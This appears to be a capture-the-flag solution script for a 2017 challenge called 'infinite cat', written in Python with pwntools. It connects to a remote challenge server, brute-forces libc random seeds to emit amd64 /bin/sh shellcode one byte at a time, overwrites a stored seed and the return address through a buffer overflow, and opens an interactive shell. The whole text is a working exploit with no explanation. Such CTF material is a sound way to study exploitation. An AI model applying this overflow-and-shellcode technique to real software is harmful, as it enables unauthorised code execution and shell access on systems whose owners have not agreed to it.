Christmas CTF 2017 infinite cat

from pwn import *
from ctypes import *
 
#p=process("./infinite_cat")
p=remote("45.32.113.43",12025)
elf=ELF("./infinite_cat")
clib = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
context.os = "linux"
context.arch="amd64"
 
 
def randomLeak(SH):
    SH = ord(SH)
    for i in range(0,65666):
        clib.srand(i)
        random = clib.random()%256
        if(random == SH):
            print SH
            print random
            return i
    
    print "TTT"
 
def attack(seed):
    print p.recvuntil(': ')
    p.sendline("1")
    payload = "A"*12 #buf,fp
    payload += p32(seed) #seed 
    payload += "\x00"*0x14
    payload += "\x00"*8
    payload += p64(elf.symbols['main'])#main
    print p.recvuntil('?\n')
    p.send(payload)
 
BinSh = asm(shellcraft.amd64.linux.sh())
 
for j in BinSh:
    ran = randomLeak(j)
    attack(ran)
 
 
p.interactive()